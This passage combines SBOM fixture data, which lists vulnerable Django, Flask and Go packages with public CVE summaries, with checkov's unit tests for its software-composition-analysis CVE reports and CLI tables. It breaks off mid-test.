https://github.com/CycloneDX/cyclonedx-python-lib/actions https://pypi.org/project/cyclonedx-python-lib/ https://cyclonedx-python-library.readthedocs.io/ https://github.com/CycloneDX/cyclonedx-python-lib/issues https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md https://github.com/CycloneDX/cyclonedx-python-lib https://github.com/CycloneDX/cyclonedx-python-lib/#readme bridgecrew checkov UNKNOWN https://github.com/bridgecrewio/checkov/actions https://pypi.org/project/checkov/ https://www.checkov.io/1.Welcome/What%20is%20Checkov.html https://github.com/bridgecrewio/checkov/issues https://github.com/bridgecrewio/checkov/blob/master/LICENSE https://twitter.com/bridgecrewio https://github.com/bridgecrewio/checkov https://www.checkov.io/ django 1.2 OSI_BDS pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2 flask 0.6 DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6 github.com/dgrijalva/jwt-go v3.2.0 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 github.com/miekg/dns v1.1.41 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 golang.org/x/crypto v0.0.1 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/requirements.txt/requests@2.26.0 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 CVE-2016-6186 https://nvd.nist.gov/vuln/detail/CVE-2016-6186 https://nvd.nist.gov/vuln/detail/CVE-2016-6186 6.1 medium CVSSv3 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML. fixed in 1.9.8, 1.8.14 2016-08-05T17:59:00+02:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2 CVE-2016-7401 https://nvd.nist.gov/vuln/detail/CVE-2016-7401 https://nvd.nist.gov/vuln/detail/CVE-2016-7401 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies. fixed in 1.9.10, 1.8.15 2016-10-03T20:59:00+02:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2 CVE-2019-19844 https://nvd.nist.gov/vuln/detail/CVE-2019-19844 https://nvd.nist.gov/vuln/detail/CVE-2019-19844 9.8 critical CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.) fixed in 3.0.1, 2.2.9, 1.11.27 2019-12-18T20:15:00+01:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2 CVE-2021-33203 https://nvd.nist.gov/vuln/detail/CVE-2021-33203 https://nvd.nist.gov/vuln/detail/CVE-2021-33203 4.9 medium CVSSv3 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories. fixed in 3.2.4, 3.1.12, 2.2.24 2021-06-08T20:15:00+02:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/django@1.2 CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083. fixed in 0.12.3 2018-08-20T21:31:00+02:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6 CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 https://nvd.nist.gov/vuln/detail/CVE-2019-1010083 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656. fixed in 1.0 2019-07-17T16:15:00+02:00 pkg:pypi/bridgecrewio/example/path/to/requirements.txt/flask@0.6 CVE-2020-26160 https://nvd.nist.gov/vuln/detail/CVE-2020-26160 https://nvd.nist.gov/vuln/detail/CVE-2020-26160 7.7 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\"aud\"] (which is allowed by the specification). Because the type assertion fails, \"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. fixed in v4.0.0-preview1 2020-09-30T20:15:00+02:00 pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 CVE-2020-29652 https://nvd.nist.gov/vuln/detail/CVE-2020-29652 https://nvd.nist.gov/vuln/detail/CVE-2020-29652 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers. fixed in v0.0.2 2020-12-17T06:15:00+01:00 pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 ================================================ FILE: tests/sca_package_2/test_output.py ================================================ from __future__ import annotations import os from packaging import version as packaging_version from pathlib import Path from checkov.common.bridgecrew.severities import BcSeverities, Severities from checkov.common.models.enums import CheckResult, ScanDataFormat from checkov.common.sca.output import create_report_cve_record, create_report_license_record from checkov.runner_filter import RunnerFilter from checkov.sca_package_2.output import ( calculate_lowest_compliant_version, create_cli_cves_table, create_cli_output, CveCount, ) from tests.sca_package_2.conftest import get_vulnerabilities_details_package_json, get_vulnerabilities_details, \ get_vulnerabilities_details_no_deps, get_vulnerabilities_details_package_lock_json, \ create_cli_license_violations_table_wrapper, create_cli_output_wrapper, get_vulnerabilities_details_is_used_packages CLI_OUTPUTS_DIR = Path(__file__).parent / "outputs" / "cli_outputs" def test_create_report_cve_record(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "critical", "packageName": "django", "packageVersion": "1.12", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", "fixCode": "django==2.2.9", "fixCommand": {"msg": "After updating package version manually, run:", "cmds": ["pip install -r requirements.txt"], "manualCodeFix": True} } # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses='OSI_BDS', package={'name': "django", 'version': "1.12", 'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False, "lines": [5, 5], "code_block": 'django==1.12'}, root_package={'name': "django", 'version': "1.12", "lines": [5, 5]}, used_private_registry=False ) # then assert record.bc_check_id == "BC_CVE_2019_19844" assert record.check_id == "CKV_CVE_2019_19844" assert record.check_class == check_class assert record.check_name == "SCA package scan" assert record.check_result == {"result": CheckResult.FAILED} assert record.code_block == [(5, 'django==1.12')] assert ( record.description == "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ..." ) assert record.file_abs_path == file_abs_path assert record.file_line_range == [5, 5] assert record.file_path == f"/{rootless_file_path}" assert record.repo_file_path == file_abs_path assert record.resource == "requirements.txt.django" assert record.severity == Severities[BcSeverities.CRITICAL] assert record.short_description == "CVE-2019-19844 - django: 1.12" assert record.vulnerability_details["status"] == "fixed in 3.0.1, 2.2.9, 1.11.27" assert record.vulnerability_details["lowest_fixed_version"] == "2.2.9" assert record.vulnerability_details["fixed_versions"] == [ packaging_version.parse("3.0.1"), packaging_version.parse("2.2.9"), ] assert record.vulnerability_details["licenses"] == 'OSI_BDS' assert record.vulnerability_details["root_package_version"] == "1.12" assert record.vulnerability_details["root_package_name"] == "django" assert record.fixed_definition == 'django==2.2.9' assert record.vulnerability_details["fix_command"] == {'msg': 'After updating package version manually, run:', 'cmds': ['pip install -r requirements.txt'], 'manualCodeFix': True} def test_create_report_cve_record_results_from_platform(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "severity": "CRITICAL", "riskFactors": "{\"Critical severity\":{},\"Attack vector: network\":{},\"Has fix\":{},\"Attack complexity: low\":{}}", "id": "CVE-2019-19844", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)", "packageVersion": "1.2", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "packageName": "django", "publishedDate": "2019-12-18T19:15:00Z", "cvss": 9.8, "status": "OPEN", "cveStatus": "1.11.27", "fileMetadataId": "d9f631f2-86b3-4d47-9b23-a2529c255392", "ViolationResource": { "scannerType": "Twistcli", "customerName": "ipeleg", "status": "OPEN", "firstDetectionDate": None, "updatedDate": "2022-08-23T09:37:27.207Z", "resourceId": "/packages/requirements.txt", "violationId": "BC_VUL_2", "sourceId": "itai1357/terragoat1", "ticket": None, "metadataFixId": None, "originalResourceDefinition": None, "fixedResourceDefinition": None, "errorLine": None, "resourcePlanId": None, "errorLines": None, "variableCode": None, "variableFixCode": None, "resourceFixCode": None, "gitBlameMetadataId": None }, "isRootPackage": None, "packageId": "49d27c4c-68cc-4eeb-ab98-d40a11334fdf", "causePackageId": "49d27c4c-68cc-4eeb-ab98-d40a11334fdf", "root_package_alias": 'django@1.2', "root_package_version": "1.2", "root_package_name": 'django' } # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses='OSI_BDS', package={'name': "django", 'version': "1.12", 'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False, "lines": [6, 6], "code_block": 'django==1.12'}, scan_data_format=ScanDataFormat.PLATFORM, root_package={'name': "django", 'version': "1.2"}, used_private_registry=False ) # then # in the case of scan_data_format=ScanDataFormat.FROM_PLATFORM we just have to make sure that 'status' and # 'fix_version' are as expected, as the rest are the same as in default flow # (can_data_format=ScanDataFormat.FROM_TWISTCLI) assert "lowest_fixed_version" not in record.vulnerability_details assert "fixed_versions" not in record.vulnerability_details assert record.vulnerability_details["fix_version"] == '1.11.27' def test_create_report_cve_record_moderate_severity(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", "root_package_alias": 'django@1.2', "root_package_version": '1.2', "root_package_name": 'django' } # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses='OSI_BDS', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': "django", 'version': "1.2"}, used_private_registry=False ) # then assert record.severity == Severities[BcSeverities.MEDIUM] def test_create_report_cve_record_severity_filter(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", "root_package_alias": 'django@1.2', "root_package_version": '1.2', "root_package_name": 'django' } # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, runner_filter=RunnerFilter(checks=['HIGH']), licenses='OSI_BDS', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': "django", 'version': "1.2"}, used_private_registry=False ) # then assert record.bc_check_id == "BC_CVE_2019_19844" assert record.check_id == "CKV_CVE_2019_19844" assert record.check_class == check_class assert record.check_name == "SCA package scan" assert record.check_result == {"result": CheckResult.SKIPPED, 'suppress_comment': 'Filtered by severity'} assert record.code_block == [(0, "django: 1.2")] assert ( record.description == "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ..." ) assert record.file_abs_path == file_abs_path assert record.file_line_range == [0, 0] assert record.file_path == f"/{rootless_file_path}" assert record.repo_file_path == file_abs_path assert record.resource == "requirements.txt.django" assert record.severity == Severities[BcSeverities.MEDIUM] assert record.short_description == "CVE-2019-19844 - django: 1.2" assert record.vulnerability_details["lowest_fixed_version"] == "1.11.27" assert record.vulnerability_details["fixed_versions"] == [ packaging_version.parse("3.0.1"), packaging_version.parse("2.2.9"), packaging_version.parse("1.11.27"), ] assert record.vulnerability_details["licenses"] == 'OSI_BDS' def test_create_report_cve_record_package_filter(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", "root_package_alias": 'django@1.2', "root_package_version": '1.2', "root_package_name": 'django', "fixCode": 'django==1.11.27', "fixCommand": {"msg": "After updating package version manually, run:", "cmds": ["pip install -r requirements.txt"], "manualCodeFix": True} } # when record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, runner_filter=RunnerFilter(skip_cve_package=['django', 'requests']), licenses='OSI_BDS', package={'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False}, root_package={'name': "django", 'version': "1.2"}, used_private_registry=False ) # then assert record.bc_check_id == "BC_CVE_2019_19844" assert record.check_id == "CKV_CVE_2019_19844" assert record.check_class == check_class assert record.check_name == "SCA package scan" assert record.check_result == {"result": CheckResult.SKIPPED, "suppress_comment": "Filtered by package 'django'"} assert record.code_block == [(0, "django: 1.2")] assert ( record.description == "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ..." ) assert record.file_abs_path == file_abs_path assert record.file_line_range == [0, 0] assert record.file_path == f"/{rootless_file_path}" assert record.repo_file_path == file_abs_path assert record.resource == "requirements.txt.django" assert record.severity == Severities[BcSeverities.CRITICAL] assert record.short_description == "CVE-2019-19844 - django: 1.2" assert record.vulnerability_details["lowest_fixed_version"] == "1.11.27" assert record.vulnerability_details["fixed_versions"] == [ packaging_version.parse("3.0.1"), packaging_version.parse("2.2.9"), packaging_version.parse("1.11.27"), ] assert record.vulnerability_details["licenses"] == 'OSI_BDS' def test_calculate_lowest_compliant_version(): # given package_versions_list = [ ["3.0.1", "2.2.9", "1.11.27", "1.9.8"], ["1.9.8", "1.8.14"], ["1.9.10", "1.8.15"], ["3.2.4", "3.1.12", "2.2.24"], ] fix_versions_lists = [ [packaging_version.parse(version) for version in package_versions] for package_versions in package_versions_list ] # when compliant_version = calculate_lowest_compliant_version(fix_versions_lists) # then assert compliant_version == "2.2.24" def test_create_cli_cves_table(): # given file_path = "/path/to/requirements.txt" cve_count = CveCount(total=6, critical=0, high=3, medium=2, low=0, skipped=1, has_fix=5, to_fix=5) package_details_map = { 'django@1.2': { 'cves': [{'id': 'CVE-2016-7401', 'severity': 'high', 'fixed_version': '1.8.15', "root_package_name": 'django', "root_package_version:": "1.2", "package_name": 'django', "package_version": "1.2", "is_private_fix": None, "lines": [1, 2]}, {'id': 'CVE-2016-6186', 'severity': 'medium', 'fixed_version': '1.8.14', "root_package_name": 'django', "root_package_version:": "1.2", "package_name": 'django', "package_version": "1.2", "is_private_fix": None }, {'id': 'CVE-2021-33203', 'severity': 'medium', 'fixed_version': '2.2.24', "root_package_name": 'django', "root_package_version:": "1.2", "package_name": 'django', "package_version": "1.2", "is_private_fix": None }], 'compliant_version': '2.2.24'}, 'flask@0.6': { 'cves': [{'id': 'CVE-2019-1010083', 'severity': 'high', 'fixed_version': '1.0', "root_package_name": 'flask', "root_package_version:": "0.6", "package_name": 'flask', "package_version": "0.6", "is_private_fix": None }, {'id': 'CVE-2018-1000656', 'severity': 'high', 'fixed_version': '0.12.3', "root_package_name": 'flask', "root_package_version:": "0.6", "package_name": 'flask', "package_version": "0.6", "is_private_fix": None }], 'compliant_version': '1.0'}} # when table = create_cli_cves_table( file_path=file_path, cve_count=cve_count, package_details_map=package_details_map, lines_details_found=True ) # then assert table == "".join( [ "\t/path/to/requirements.txt - CVEs Summary:\n", "\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n", "\t│ Total CVEs: 6 │ critical: 0 │ high: 3 │ medium: 2 │ low: 0 │ skipped: 1 │ Total Packages Used: │\n", "\t│ │ │ │ │ │ │ 0 │\n", "\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n", "\t│ To fix 5/5 CVEs, go to your Prisma Cloud account │\n", "\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n", "\t│ Package [Lines] │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n", "\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n", "\t│ django [1-2] │ CVE-2016-7401 │ high │ 1.2 │ 1.8.15 │ 2.2.24 │ │\n", "\t│ │ CVE-2016-6186 │ medium │ │ 1.8.14 │ │ │\n", "\t│ │ CVE-2021-33203 │ medium │ │ 2.2.24 │ │ │\n", "\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n", "\t│ flask │ CVE-2019-1010083 │ high │ 0.6 │ 1.0 │ 1.0 │ │\n", "\t│ │ CVE-2018-1000656 │ high │ │ 0.12.3 │ │ │\n", "\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n", ] ) def test_create_cli_license_violations_table_no_line_numbers(): # when table = create_cli_license_violations_table_wrapper(with_line_numbers=False) # then assert table == "".join( [ "\t/requirements.txt - Licenses Statuses:\n", "\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n", "\t│ Package name │ Package version │ Policy ID │ License │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ django │ 1.2 │ BC_LIC_1 │ DUMMY_LICENSE │\n", "\t│ │ │ BC_LIC_1 │ DUMMY_LICENSE2 │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ django │ 1.12 │ BC_LIC_1 │ DUMMY_LICENSE3 │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ flask │ 0.6 │ BC_LIC_1 │ DUMMY_LICENSE3 │\n", "\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n", ] ) def test_create_cli_license_violations_table_with_line_numbers(): # when table = create_cli_license_violations_table_wrapper(with_line_numbers=True) # then assert table == "".join( [ "\t/requirements.txt - Licenses Statuses:\n", "\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n", "\t│ Package name [Lines] │ Package version │ Policy ID │ License │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ django [1-2] │ 1.2 │ BC_LIC_1 │ DUMMY_LICENSE │\n", "\t│ │ │ BC_LIC_1 │ DUMMY_LICENSE2 │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ django │ 1.12 │ BC_LIC_1 │ DUMMY_LICENSE3 │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n", "\t│ flask [5-6] │ 0.6 │ BC_LIC_1 │ DUMMY_LICENSE3 │\n", "\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n", ] ) def test_create_cli_cves_table_with_no_found_vulnerabilities(): # given file_path = "/path/to/requirements.txt" cve_count = CveCount(total=2, critical=0, high=0, medium=0, low=0, skipped=2, has_fix=0, to_fix=0) package_details_map = {} # when table = create_cli_cves_table( file_path=file_path, cve_count=cve_count, package_details_map=package_details_map, lines_details_found=False ) # then assert table == "".join( [ "\t/path/to/requirements.txt - CVEs Summary:\n", "\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n", "\t│ Total CVEs: 2 │ critical: 0 │ high: 0 │ medium: 0 │ low: 0 │ skipped: 2 │ Total Packages Used: │\n", "\t│ │ │ │ │ │ │ 0 │\n", "\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n", "\t│ To fix 0/0 CVEs, go to your Prisma Cloud account │\n", "\t└────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘\n", ] ) def test_create_cli_output_no_line_numbers(): # when cli_output = create_cli_output_wrapper(with_line_numbers=False) # then assert cli_output == "".join( [ "\t/requirements.txt - CVEs Summary:\n", "\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n" "\t│ Total CVEs: 2 │ critical: 1 │ high: 0 │ medium: 1 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n" "\t│ │ │ │ │ │ │ 0 │\n" "\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n" "\t│ To fix 2/2 CVEs, go to your Prisma Cloud account │\n" "\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n" "\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n" "\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n" "\t│ django │ CVE-2019-19844 │ CRITICAL │ 1.2 │ 1.11.27 │ 1.11.27 │ │\n" "\t│ │ CVE-2016-6186 │ MEDIUM │ │ 1.8.14 │ │ │\n" "\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n" "\n", "\t/requirements.txt - Licenses Statuses:\n", "\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n", "\t│ Package name │ Package version │ Policy ID │ License │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ django │ 1.2 │ BC_LIC_1 │ DUMMY_LICENSE │\n" "\t│ │ │ BC_LIC_1 │ DUMMY_LICENSE2 │\n" "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ django │ 1.12 │ BC_LIC_2 │ DUMMY_LICENSE_3 │\n" "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ flask │ 0.6 │ BC_LIC_1 │ DUMMY_OTHER_LICENSE │\n" "\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n" ] ) def test_create_cli_output_with_line_numbers(): # when cli_output = create_cli_output_wrapper(with_line_numbers=True) # then assert cli_output == "".join( [ "\t/requirements.txt - CVEs Summary:\n", "\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n" "\t│ Total CVEs: 2 │ critical: 1 │ high: 0 │ medium: 1 │ low: 0 │ skipped: 0 │ Total Packages Used: │\n" "\t│ │ │ │ │ │ │ 0 │\n" "\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n" "\t│ To fix 2/2 CVEs, go to your Prisma Cloud account │\n" "\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n" "\t│ Package [Lines] │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n" "\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n" "\t│ django [1-2] │ CVE-2019-19844 │ CRITICAL │ 1.2 │ 1.11.27 │ 1.11.27 │ │\n" "\t│ │ CVE-2016-6186 │ MEDIUM │ │ 1.8.14 │ │ │\n" "\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n" "\n", "\t/requirements.txt - Licenses Statuses:\n", "\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n", "\t│ Package name [Lines] │ Package version │ Policy ID │ License │\n", "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ django [1-2] │ 1.2 │ BC_LIC_1 │ DUMMY_LICENSE │\n" "\t│ │ │ BC_LIC_1 │ DUMMY_LICENSE2 │\n" "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ django │ 1.12 │ BC_LIC_2 │ DUMMY_LICENSE_3 │\n" "\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n" "\t│ flask [5-6] │ 0.6 │ BC_LIC_1 │ DUMMY_OTHER_LICENSE │\n" "\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n" ] ) def test_create_cli_output_without_license_records(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" # when cves_records = [ 